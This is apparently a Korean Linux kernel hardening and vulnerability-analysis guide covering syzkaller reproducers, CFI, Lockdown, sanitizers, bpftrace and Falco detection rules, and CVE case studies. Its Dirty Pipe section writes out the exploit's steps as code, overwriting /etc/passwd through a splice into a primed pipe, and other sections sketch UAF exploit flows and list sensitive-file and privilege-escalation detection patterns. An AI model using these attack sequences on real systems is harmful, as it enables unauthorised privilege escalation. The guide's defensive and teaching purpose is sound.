하드닝 옵션별 성능 영향

syzkaller 재현기 작성과 활용 상세

/* syzkaller C 재현기 예시 (개념적 — 실제 CVE 재현기 구조 참고) */

#define _GNU_SOURCE
#include <pthread.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

/* syzbot 재현기의 일반적 구조:
 * 1. 샌드박스 설정 (네임스페이스, seccomp 비활성화)
 * 2. 다중 스레드 생성 (경쟁 조건 재현)
 * 3. 시스템 콜 시퀀스 반복 실행
 * 4. KASAN/panic 트리거 시 성공 */

static void setup_sandbox(void) {
    /* user namespace 진입 (unprivileged) */
    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
        exit(1);
}

static void* race_thread(void *arg) {
    for (int i = 0; i < 10000; i++) {
        /* 경쟁 조건을 유발하는 시스템 콜 A */
        syscall(__NR_madvise, addr, 0x1000, MADV_DONTNEED);
    }
    return NULL;
}

int main(void) {
    setup_sandbox();

    pthread_t th;
    pthread_create(&th, NULL, race_thread, NULL);

    for (int i = 0; i < 10000; i++) {
        /* 경쟁 조건을 유발하는 시스템 콜 B */
        write(fd, buf, len);
    }

    pthread_join(th, NULL);
    return 0;
}

/* 재현기 실행 방법:
 * gcc -pthread -o repro repro.c
 * while true; do ./repro; done
 *
 * KASAN이 활성화된 커널에서 UAF/OOB를 감지하면
 * dmesg에 KASAN 보고가 출력됨 */

Corpus 관리와 커버리지 최적화

CFI (Control-Flow Integrity) 상세

CFI는 간접 호출(함수 포인터를 통한 호출)의 대상이 유효한 함수인지 검증하는 컴파일러 수준의 보호입니다. ROP/JOP 공격에서 함수 포인터를 조작하여 임의 코드를 실행하는 것을 방지합니다.

/* CFI (Control-Flow Integrity) 동작 원리 */

/* Clang CFI: 간접 호출 대상의 타입 시그니처를 검증 */

/* 정상적인 간접 호출 */
struct file_operations fops = {
    .read  = my_read,   /* 함수 포인터 설정 */
    .write = my_write,
};

/* CFI가 활성화되면 컴파일러가 각 간접 호출 사이트에
 * 대상 함수의 타입 해시를 검증하는 코드를 삽입 */

/* 공격자가 fops.read를 commit_creds로 변경하면:
 * - CFI 없음: commit_creds가 호출됨 → 권한 상승
 * - CFI 있음: 타입 시그니처 불일치 → __cfi_check 실패 → 커널 패닉 */

/* CFI 설정 */
CONFIG_CFI_CLANG=y             /* Clang CFI 활성화 */
CONFIG_CFI_PERMISSIVE=n        /* 위반 시 패닉 (권장) */
/* CONFIG_CFI_PERMISSIVE=y → 위반 시 경고만 (디버깅용) */

/* kCFI (Kernel CFI) — 6.2+에서 도입된 개선 버전
 * 기존 Clang CFI의 LTO 의존성을 제거
 * CONFIG_CFI_CLANG + CONFIG_LTO 없이도 동작 */

Lockdown LSM과 커널 자체 보호

/* Lockdown LSM: 커널 자체 수정을 차단하는 보안 모듈 */

/* Lockdown 레벨:
 * none      — 제한 없음
 * integrity — 커널 무결성 보호 (모듈 서명 강제, /dev/mem 차단 등)
 * confidentiality — integrity + 커널 정보 유출 차단
 *                   (kprobes, eBPF 제한, perf 제한 등) */

/* Lockdown이 차단하는 작업들: */
/* integrity 레벨:
 * - 비서명 커널 모듈 로드
 * - /dev/mem, /dev/kmem, /dev/port 접근
 * - kexec_load (비서명 커널 로드)
 * - hibernation (디스크에 커널 상태 저장)
 * - PCI BAR 접근 (iopl/ioperm)
 * - ACPI 테이블 오버라이드
 * - EFI 변수 쓰기 */

/* confidentiality 레벨 (추가):
 * - /proc/kcore 접근
 * - kprobes 사용
 * - BPF 프로그램 로드 (일부)
 * - perf 이벤트 (커널 주소 노출 가능) */

/* 활성화 */
CONFIG_SECURITY_LOCKDOWN_LSM=y
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
/* 부트 파라미터: lockdown=integrity 또는 lockdown=confidentiality */

/* Secure Boot와 연동:
 * UEFI Secure Boot가 활성화되면
 * Lockdown이 자동으로 integrity 레벨로 설정됨
 * → 부트 체인 전체의 무결성 보장 */

운영 환경 하드닝 체크리스트

# 커널 하드닝 상태 종합 점검 스크립트

echo "=== 커널 하드닝 상태 점검 ==="

# sysctl 보안 설정 확인
for key in \
    kernel.kptr_restrict \
    kernel.dmesg_restrict \
    kernel.perf_event_paranoid \
    kernel.unprivileged_bpf_disabled \
    kernel.yama.ptrace_scope \
    kernel.randomize_va_space \
    vm.unprivileged_userfaultfd; do
    val=$(sysctl -n $key 2>/dev/null)
    echo "$key = ${val:-NOT_FOUND}"
done

# CONFIG_ 옵션 확인
echo "=== 커널 빌드 보안 옵션 ==="
config=/boot/config-$(uname -r)
if [ -f "$config" ]; then
    for opt in \
        FORTIFY_SOURCE HARDENED_USERCOPY \
        STACKPROTECTOR_STRONG CFI_CLANG \
        INIT_STACK_ALL_ZERO SLAB_FREELIST_HARDENED \
        RANDOMIZE_BASE PAGE_TABLE_ISOLATION \
        SECURITY_LOCKDOWN_LSM KFENCE; do
        result=$(grep "CONFIG_${opt}=" "$config" 2>/dev/null)
        echo "  ${opt}: ${result:-NOT_SET}"
    done
fi

# 하드웨어 취약점 상태
echo "=== 하드웨어 취약점 완화 ==="
for f in /sys/devices/system/cpu/vulnerabilities/*; do
    echo "  $(basename $f): $(cat $f)"
done

취약점 분류와 CWE 매핑

커널 취약점을 CWE(Common Weakness Enumeration)로 체계적으로 분류하면, 반복 발생하는 취약점 패턴을 식별하고 예방 전략을 수립할 수 있습니다. 아래 표는 리눅스 커널에서 가장 빈번하게 발견되는 취약점 클래스와 그 특성을 정리합니다.

주요 CWE 분류와 커널 사례

서브시스템별 취약점 발생 통계

io_uring / eBPF: 최신 공격 표면

2020년 이후 커널 취약점의 새로운 주요 공격 표면으로 io_uring과 eBPF가 부상했습니다. 두 서브시스템 모두 고성능/고기능을 위해 커널 내부에 복잡한 상태 머신을 구현하며, 이 복잡성이 보안 취약점의 주요 원인이 됩니다.

주요 커널 취약점 타임라인 (2016~2025)

보안 패치 분석 방법

커널 보안 패치를 분석하는 능력은 운영 환경의 보안 대응에 핵심적입니다. git 로그 포렌식, diff 리뷰, stable 백포트 추적을 통해 취약점의 영향 범위와 패치의 완전성을 평가할 수 있습니다.

# 보안 패치 분석 실전 명령어

# 1) CVE 번호로 관련 커밋 찾기
git log --all --grep="CVE-2024-1086" --oneline

# 2) 수정 커밋에서 원인 커밋(Fixes: 태그) 추출
git log --all --grep="Fixes:" --format="%h %s" -- net/netfilter/ | head -20

# 3) 특정 커밋의 변경 내용 상세 확인
git show <commit-hash> --stat   # 변경된 파일 목록
git show <commit-hash>           # 전체 diff

# 4) stable 트리에 백포트 여부 확인
git log --all --oneline --grep="<upstream commit hash>"
# 또는 커밋 메시지의 "(cherry picked from commit ...)" 확인

# 5) 두 버전 간 보안 관련 변경 추적
git log v6.6..v6.6.14 --oneline --grep="fix\|CVE\|security\|vuln"

# 6) 특정 함수의 변경 이력 추적
git log -p -S "nft_verdict_init" -- net/netfilter/

# 7) 취약한 코드가 도입된 커밋 찾기 (git blame)
git blame -L 100,120 net/netfilter/nf_tables_api.c

# 8) 패치 의존성 확인 (Fixes 체인)
git log --all --format="%h %s" -- <file> | grep -i "fix"

stable 백포트 추적 실전 가이드

# stable 백포트 추적 실전 명령어

# 1) 특정 CVE의 mainline 수정 커밋 확인
# vulns.git에서 CVE 정보 조회
git clone https://git.kernel.org/pub/scm/linux/security/vulns.git
cd vulns
cat cve/published/2024/CVE-2024-1086.json | python3 -m json.tool

# 2) mainline 커밋이 stable 트리에 백포트되었는지 확인
# 방법 A: stable 트리에서 cherry-pick 커밋 검색
git log --all --oneline --grep="upstream commit <hash>"

# 방법 B: 커밋 메시지에서 확인
git log --all --oneline --grep="<mainline commit title>"

# 3) 현재 배포판 커널에 패치가 포함되었는지 확인
# RHEL/CentOS
rpm -q --changelog kernel | grep -i "CVE-2024-1086"

# Ubuntu
apt changelog linux-image-$(uname -r) | grep -i "CVE-2024-1086"

# SUSE
rpm -q --changelog kernel-default | grep -i "CVE-2024-1086"

# 4) 패치 의존성 체인 확인
# Fixes: 태그를 재귀적으로 추적
git log --all --format="%h %s" --grep="Fixes: <커밋 해시 접두사>"

# 5) 두 stable 릴리스 간 보안 패치 목록 비교
git log v6.6.10..v6.6.20 --oneline | grep -iE "fix|vuln|CVE|security|overflow|uaf|race" | wc -l

취약점 탐지 도구와 Sanitizer 비교

리눅스 커널은 다양한 동적 분석 도구(sanitizer)를 내장하고 있어, 메모리 오류, 정의되지 않은 동작, 데이터 레이스 등을 런타임에 탐지할 수 있습니다. 각 도구의 특성과 적용 환경을 이해하면 테스트 전략을 효과적으로 수립할 수 있습니다.

Sanitizer 상세 비교표

/* KASAN 보고 예시 — Use-After-Free 탐지 */

/*
==================================================================
BUG: KASAN: slab-use-after-free in nf_hook_slow+0x128/0x340
Read of size 4 at addr ffff888107a4c004 by task poc/1337

CPU: 2 PID: 1337 Comm: poc Not tainted 6.7.0-kasan #1
Call Trace:
 dump_stack_lvl+0x48/0x70
 print_report+0xce/0x670
 kasan_report+0xc7/0x100
 nf_hook_slow+0x128/0x340
 ip_local_out+0xbc/0x130

Allocated by task 1337:
 kmalloc+0xb4/0x100
 nft_rule_alloc+0x48/0xe0

Freed by task 1337:
 kfree+0x9a/0x120
 nft_rule_destroy+0x3c/0x60
==================================================================
*/

/* KASAN 보고 해석:
 * 1. "slab-use-after-free" → 해제된 slab 객체 접근
 * 2. "Read of size 4" → 4바이트 읽기 시도
 * 3. "Allocated by" / "Freed by" → 할당/해제 스택트레이스
 * 4. 해제 후 접근까지의 경로를 추적하여 UAF 원인 분석 */

KASAN 모드별 상세 비교

/* KASAN 세 가지 모드 상세 비교 */

/* === 1. Generic KASAN (가장 정확, 가장 느림) ===
 * 동작: 모든 메모리 접근에 shadow memory 검사 삽입
 * shadow: 실제 메모리의 1/8 크기 shadow 영역 사용
 *   각 8바이트당 1바이트 shadow = 접근 가능한 바이트 수
 *   shadow = 0: 8바이트 모두 접근 가능
 *   shadow = N (1~7): N바이트만 접근 가능
 *   shadow < 0: 접근 불가 (해제됨, 레드존 등)
 * 장점: UAF, OOB를 바이트 정밀도로 탐지
 * 단점: 2~3배 CPU, 메모리 1/8 추가 */

CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_INLINE=y          /* 인라인 검사 (outline보다 빠름) */
CONFIG_KASAN_STACK=y            /* 스택 변수 OOB 탐지 */
CONFIG_KASAN_VMALLOC=y          /* vmalloc 영역 검사 */

/* === 2. SW_TAGS KASAN (중간 성능, ARM64 전용) ===
 * 동작: 포인터 상위 비트에 태그 삽입
 *   할당 시 랜덤 태그 설정, 해제 시 태그 변경
 *   접근 시 포인터 태그와 메모리 태그 비교
 * 장점: Generic보다 빠름 (30~50% 오버헤드)
 * 단점: 확률적 탐지 (1/256 태그 충돌 가능)
 * ARM64 TBI (Top Byte Ignore) 기능 활용 */

CONFIG_KASAN=y
CONFIG_KASAN_SW_TAGS=y

/* === 3. HW_TAGS KASAN (최소 오버헤드, ARM64 MTE 전용) ===
 * 동작: ARM MTE (Memory Tagging Extension) 하드웨어 활용
 *   CPU가 메모리 접근 시 자동으로 태그 검사
 *   소프트웨어 계측 불필요 → 최소 오버헤드
 * 장점: 프로덕션에서도 사용 가능 (5~10% 오버헤드)
 * 단점: ARM v8.5-A MTE 지원 CPU 필요 */

CONFIG_KASAN=y
CONFIG_KASAN_HW_TAGS=y

/* 부트 파라미터로 모드 전환 가능 */
/* kasan.mode=sync    — 동기 검사 (정확, 느림) */
/* kasan.mode=async   — 비동기 검사 (빠름, 보고 지연) */
/* kasan.mode=asymm   — 읽기:비동기, 쓰기:동기 */

KMSAN: 초기화되지 않은 메모리 읽기 탐지

/* KMSAN (Kernel Memory Sanitizer) — 6.1+에서 도입 */
/* 초기화되지 않은 메모리 값 사용을 탐지 */

/* 탐지 대상:
 * - 초기화 안 된 스택 변수 사용
 * - memset 누락된 구조체 필드 사용
 * - copy_to_user()로 초기화 안 된 데이터 전송
 * → 정보 유출 취약점(CWE-200)의 근본 원인 */

CONFIG_KMSAN=y
/* 주의: KASAN과 동시 사용 불가
 * Clang 컴파일러 필수 (GCC 미지원)
 * 메모리 오버헤드: ~2배 */

/* KMSAN 보고 예시:
==================================================================
BUG: KMSAN: uninit-value in copy_to_user
Uninit was stored to memory at:
 my_ioctl+0x48/0x100

Local variable description: info @ my_ioctl
Variable was created at:
 my_ioctl+0x10/0x100
==================================================================
*/

/* KMSAN vs INIT_STACK_ALL_ZERO 비교:
 * INIT_STACK_ALL_ZERO: 모든 스택 변수를 0으로 초기화 → 버그를 숨김
 * KMSAN: 초기화 안 된 사용을 탐지 → 버그를 발견
 * → 개발 환경에서는 KMSAN, 프로덕션에서는 INIT_STACK_ALL_ZERO 권장 */

CI/CD 파이프라인 보안 테스트 통합

ftrace/kprobe 기반 런타임 보안 감시

ftrace와 kprobe는 커널의 내장 추적 인프라로, 보안 관련 함수 호출을 실시간으로 모니터링할 수 있습니다. bpftrace를 활용하면 더 정교한 보안 모니터링 스크립트를 작성할 수 있습니다.

# ftrace를 이용한 보안 함수 추적

# 1) commit_creds 호출 추적 (권한 변경 감시)
cd /sys/kernel/debug/tracing
echo 0 > tracing_on
echo function > current_tracer
echo commit_creds > set_ftrace_filter
echo 1 > tracing_on
# 잠시 후 확인
cat trace | head -20
echo 0 > tracing_on

# 2) kprobe를 이용한 do_execve 인자 추적
echo 'p:exec_probe do_execve filename=+0(%si):string' > kprobe_events
echo 1 > events/kprobes/exec_probe/enable
echo 1 > tracing_on
# 프로세스 실행 후 확인
cat trace_pipe

/* bpftrace 보안 모니터링 스크립트 예제 */

/* 1) 권한 상승 실시간 감지 */
/* bpftrace -e 아래 내용을 실행 */
/*
kprobe:commit_creds {
    $cred = (struct cred *)arg0;
    $uid = $cred->uid.val;
    if ($uid == 0) {
        printf("ALERT: uid=0 credential commit by %s (PID %d)\n",
               comm, pid);
        printf("  Stack: %s\n", kstack);
    }
}
*/

/* 2) 커널 모듈 로드 감시 */
/*
kprobe:do_init_module {
    printf("MODULE LOAD: %s by %s (PID %d, UID %d)\n",
           str(((struct module *)arg0)->name),
           comm, pid, uid);
}
*/

/* 3) 민감 파일 접근 추적 */
/*
kprobe:vfs_open {
    $path = str(((struct path *)arg0)->dentry->d_name.name);
    if ($path == "shadow" || $path == "passwd") {
        printf("SENSITIVE FILE ACCESS: %s by %s (PID %d)\n",
               $path, comm, pid);
    }
}
*/

/* 4) 비정상적인 mmap 실행 권한 요청 감시 */
/*
tracepoint:syscalls:sys_enter_mmap {
    $prot = args->prot;
    if (($prot & 0x4) && ($prot & 0x2)) {  // PROT_EXEC | PROT_WRITE
        printf("W+X MMAP: %s PID=%d prot=0x%x\n",
               comm, pid, $prot);
    }
}
*/

고급 bpftrace 보안 모니터링 패턴

/* 5) 컨테이너 탈출 시도 감지 (네임스페이스 변경 추적) */
/*
kprobe:switch_task_namespaces {
    printf("NS SWITCH: %s (PID %d) → new nsproxy=%p\n",
           comm, pid, arg1);
    printf("  Stack: %s\n", kstack);
}
*/

/* 6) 커널 심볼 테이블 접근 감시 (KASLR 우회 시도) */
/*
kprobe:kallsyms_lookup_name {
    printf("KALLSYMS LOOKUP: %s by %s (PID %d)\n",
           str(arg0), comm, pid);
}
*/

/* 7) 비정상 ptrace 시도 감시 */
/*
tracepoint:syscalls:sys_enter_ptrace {
    printf("PTRACE: request=%d pid=%d by %s (PID %d)\n",
           args->request, args->pid, comm, pid);
}
*/

/* 8) io_uring 보안 이벤트 추적 (공격 표면 감시) */
/*
kprobe:io_uring_setup {
    printf("IO_URING SETUP: entries=%d by %s (PID %d, UID %d)\n",
           arg0, comm, pid, uid);
}
*/

perf trace를 이용한 시스콜 이상 탐지

# perf trace로 프로세스의 시스콜 패턴 분석

# 1) 특정 프로세스의 시스콜 추적
perf trace -p <PID> --duration 10

# 2) 보안 관련 시스콜만 필터링
perf trace -e 'ptrace,execve,clone,unshare,setuid,setgid,mount' \
    --duration 60

# 3) 네트워크 관련 비정상 활동 추적
perf trace -e 'connect,bind,listen,accept*' --duration 30

# 4) 파일 접근 패턴 분석
perf trace -e 'open*,read,write,mmap,mprotect' -p <PID>

# 5) userfaultfd 사용 감시 (익스플로잇 도구 탐지)
perf trace -e 'userfaultfd' --duration 300

# 6) io_uring 관련 시스콜 감시
perf trace -e 'io_uring_setup,io_uring_enter,io_uring_register'

Falco/Tetragon 기반 보안 정책 예시

/* Falco 보안 규칙 예시 (YAML 형식) */

/* 규칙 1: 컨테이너 내에서 민감 파일 접근 감지 */
/*
- rule: Read sensitive file untrusted
  desc: 컨테이너 프로세스가 /etc/shadow 등 민감 파일 읽기
  condition: >
    open_read and
    sensitive_files and
    container and
    not proc.name in (trusted_readers)
  output: >
    Sensitive file opened (user=%user.name
    command=%proc.cmdline file=%fd.name
    container=%container.id image=%container.image.repository)
  priority: WARNING
*/

/* 규칙 2: 권한 상승 감지 */
/*
- rule: Container privilege escalation
  desc: 컨테이너 내에서 setuid/setgid 실행 감지
  condition: >
    spawned_process and
    container and
    proc.is_exe_upper_layer=true and
    (proc.vpgid.name=root or user.uid=0)
  output: >
    Privilege escalation detected (user=%user.name
    command=%proc.cmdline container=%container.id)
  priority: CRITICAL
*/

/* Tetragon 보안 정책 예시 (eBPF 기반) */
/*
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-privilege-escalation
spec:
  kprobes:
  - call: "commit_creds"
    args:
    - index: 0
      type: "nop"
    selectors:
    - matchActions:
      - action: Sigkill   # 권한 변경 시도 시 프로세스 종료
*/

실제 CVE 사례 심층 분석

실제 CVE 사례를 기술적으로 깊이 분석하면, 취약점 패턴의 본질과 방어 전략의 실효성을 체감할 수 있습니다. Dirty COW, Dirty Pipe, StackRot 세 가지 대표 사례를 공격 흐름, 근본 원인, 패치 전략 관점에서 비교 분석합니다.

Dirty Pipe 상세 분석

/* Dirty Pipe (CVE-2022-0847) 완전 분석 */

/* 핵심 원인: copy_page_to_iter_pipe()에서
 * pipe_buffer의 flags 필드를 초기화하지 않음 */

/* 공격 단계 1: pipe 준비 (PIPE_BUF_FLAG_CAN_MERGE 설정) */
int pipefd[2];
pipe(pipefd);

/* pipe를 가득 채운 후 비움 → 모든 버퍼에 CAN_MERGE 플래그 설정 */
for (int i = 0; i < PIPE_DEF_BUFFERS; i++) {
    write(pipefd[1], buf, sizeof(buf));  /* 각 버퍼에 CAN_MERGE 설정 */
}
for (int i = 0; i < PIPE_DEF_BUFFERS; i++) {
    read(pipefd[0], buf, sizeof(buf));   /* 비우지만 플래그는 남음! */
}

/* 공격 단계 2: 대상 파일의 페이지 캐시를 pipe에 매핑 */
int fd = open("/etc/passwd", O_RDONLY);
lseek(fd, page_offset, SEEK_SET);

/* splice()는 파일의 페이지 캐시 페이지를 pipe에 매핑
 * 이때 buf->flags를 초기화해야 하지만 하지 않음!
 * → 이전 CAN_MERGE 플래그가 그대로 남음 */
splice(fd, &offset, pipefd[1], NULL, 1, 0);

/* 공격 단계 3: pipe에 쓰기 → 페이지 캐시 직접 수정! */
/* CAN_MERGE 플래그가 설정되어 있으므로
 * write()가 새 버퍼를 할당하지 않고
 * 기존 (페이지 캐시) 버퍼에 병합 → 읽기 전용 파일 수정 */
write(pipefd[1], payload, payload_len);

/* 수정 패치 (커밋 9d2231c5d74e): 단 1줄 */
/* copy_page_to_iter_pipe()에 buf->flags = 0; 추가 */

StackRot 상세 분석

/* StackRot (CVE-2023-3269) — Maple Tree RCU UAF */

/* 배경: Linux 6.1에서 VMA 관리를 rbtree → Maple Tree로 전환
 * Maple Tree는 RCU를 사용한 잠금 없는(lock-free) 읽기를 지원
 * 문제: 노드 교체 시 RCU grace period 전에 해제가 발생 */

/* 취약한 코드 경로 (개념적) */
static void mas_replace(struct ma_state *mas, bool advanced) {
    /* 새 노드로 교체 */
    rcu_assign_pointer(parent->slot[offset], new_node);

    /* BUG: 이전 노드를 즉시 해제하는 경로가 존재
     * 다른 CPU에서 RCU 읽기 섹션에서 이전 노드를 참조 중일 수 있음! */
    mt_free_node(old_node);  /* rcu_read_lock 내에서 접근 가능한 노드를 해제 */
}

/* 수정: RCU 콜백을 통한 지연 해제 */
static void mas_replace_fixed(struct ma_state *mas, bool advanced) {
    rcu_assign_pointer(parent->slot[offset], new_node);

    /* 수정: RCU grace period 이후에 해제 */
    call_rcu(&old_node->rcu, mt_free_node_rcu);
}

/* 공격자의 악용 흐름:
 * 1. mmap/munmap으로 Maple Tree 노드 교체 유발
 * 2. 해제된 노드가 같은 slab에서 재할당 (힙 스프레이)
 * 3. 재할당된 노드를 VMA 조회 경로가 참조
 * 4. 조작된 VMA 데이터로 스택 피벗 → ROP → 권한 상승 */

사례 비교 종합

nf_tables UAF (CVE-2024-1086) 상세 분석

/* CVE-2024-1086: nf_tables verdict 처리 UAF */

/* 근본 원인: nft_verdict_init()에서 NF_DROP에 양수 errno 허용 */

/* net/netfilter/nf_tables_api.c — 취약한 코드 */
static int nft_verdict_init(const struct nft_ctx *ctx,
                            struct nft_data *data,
                            const struct nlattr *nla) {
    u32 verdict = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));

    switch (verdict) {
    case NF_ACCEPT:
    case NF_DROP:
    case NF_QUEUE:
        /* BUG: NF_DROP(0) + 양수 errno → NF_DROP이 아닌 값으로 해석
         * 예: verdict = NF_DROP | (NF_ACCEPT << 16)
         * → nf_hook_slow()에서 NF_ACCEPT로 처리
         * → 이미 drop 처리된 skb가 accept됨 → double-free/UAF */
        break;
    case NF_STOLEN:
        /* ... */
    }
    data->verdict.code = verdict;  /* 검증 안 된 verdict 저장 */
}

/* net/netfilter/core.c — nf_hook_slow에서 verdict 해석 */
int nf_hook_slow(struct sk_buff *skb, ...) {
    switch (verdict & NF_VERDICT_MASK) {
    case NF_ACCEPT:
        /* 패킷 계속 처리 → skb 사용 */
        break;
    case NF_DROP:
        /* 패킷 폐기 → skb 해제 */
        kfree_skb(skb);
        break;
    }
    /* verdict가 NF_DROP이지만 NF_ACCEPT로 해석되면
     * skb가 해제된 후에도 계속 사용됨 → UAF */
}

/* 수정 패치: verdict 검증 강화 */
case NF_DROP:
    if (data->verdict.code & ~NF_VERDICT_MASK)
        return -EINVAL;  /* NF_DROP에 추가 비트가 있으면 거부 */
    break;

io_uring 취약점 패턴

io_uring은 Linux 5.1에서 도입된 고성능 비동기 I/O 인터페이스로, 복잡한 비동기 상태 관리로 인해 다수의 보안 취약점이 발견되었습니다. 2022~2024년 사이에 50건 이상의 CVE가 할당되었으며, Google Android와 ChromeOS에서는 io_uring을 기본 비활성화한 바 있습니다.

/* io_uring 취약점 패턴 분석 */

/* 패턴 1: 참조 카운트 관리 오류
 * io_uring의 비동기 요청은 여러 경로에서 완료될 수 있어
 * 참조 카운트 관리가 매우 복잡합니다.
 * req->refs 또는 file->f_count 불일치 → UAF */

/* 패턴 2: 파일 디스크립터 생명주기 불일치
 * io_uring이 fd를 캐싱하는 동안 사용자가 close() 호출
 * → 해제된 struct file에 대한 참조 유지 → UAF */

/* 패턴 3: 잠금 순서 위반
 * io_uring의 내부 잠금과 커널 서브시스템 잠금 간
 * 순서 불일치 → 데드락 또는 경쟁 조건 */

/* 패턴 4: 크리덴셜 혼동
 * io_uring은 제출(submit) 시점과 실행 시점의 크리덴셜이
 * 다를 수 있어, 권한 검사 우회 가능 */

/* 방어 권장사항:
 * - 프로덕션: seccomp으로 io_uring 시스콜 차단 검토
 *   (io_uring_setup, io_uring_enter, io_uring_register)
 * - 컨테이너: io_uring 접근을 기본 차단
 * - 커널: CONFIG_IO_URING=n (불필요한 경우)
 * - 테스트: syzkaller io_uring 퍼징 강화 */

eBPF 검증기(verifier) 우회 취약점

/* eBPF 검증기 우회 취약점 패턴 */

/* eBPF 프로그램은 커널 내에서 실행되므로
 * verifier가 안전성을 정적으로 검증합니다:
 * - 범위 추적 (value range tracking)
 * - 타입 검증 (type checking)
 * - 메모리 접근 검증 (bounds checking)
 * - 반복 제한 (loop termination) */

/* 우회 패턴 1: 범위 추적 혼동
 * verifier가 추적하는 레지스터 범위와
 * 실제 실행 시 값이 다른 경우
 * → OOB 읽기/쓰기 */

/* 개념적 예시 */
/*
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 1),
// verifier: reg0 범위 = [1, MAX]
// 실제: 정수 오버플로우로 reg0 = 0
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
// verifier: 안전한 접근으로 판단
// 실제: NULL 근처 메모리 접근 → 정보 유출
*/

/* 우회 패턴 2: 탈투기적(speculation) 공격
 * verifier는 정상 경로만 검증하지만
 * CPU의 투기적 실행은 다른 경로를 실행할 수 있음
 * → Spectre v1 스타일의 사이드채널 */

/* 방어:
 * - kernel.unprivileged_bpf_disabled=1 (필수)
 * - CONFIG_BPF_UNPRIV_DEFAULT_OFF=y
 * - BPF_F_SLEEPABLE 플래그 검증 강화
 * - verifier의 범위 추적 정밀도 지속 개선 */

관련 문서

• 커널 보안 — LSM, SELinux, seccomp, Audit
• 최적화 — 성능 vs 보안 트레이드오프
• 디버깅 — 커널 크래시 분석
• KASAN — Kernel Address Sanitizer 상세
• 동기화 기법 — 경쟁 조건 방지를 위한 동기화 프리미티브
• 메모리 배리어 — 메모리 순서 보장과 데이터 레이스 방지
• RCU — Read-Copy-Update와 UAF 방지 패턴
• ftrace/Tracepoints — 커널 함수 추적과 보안 모니터링
• BPF/eBPF/XDP — eBPF 기반 보안 정책과 모니터링
• LSM/Seccomp — 공격 표면 축소를 위한 접근 제어
• Livepatch — 재부팅 없는 보안 패치 적용
• 네임스페이스 — 컨테이너 격리와 보안 경계
• cgroups — 리소스 제한과 격리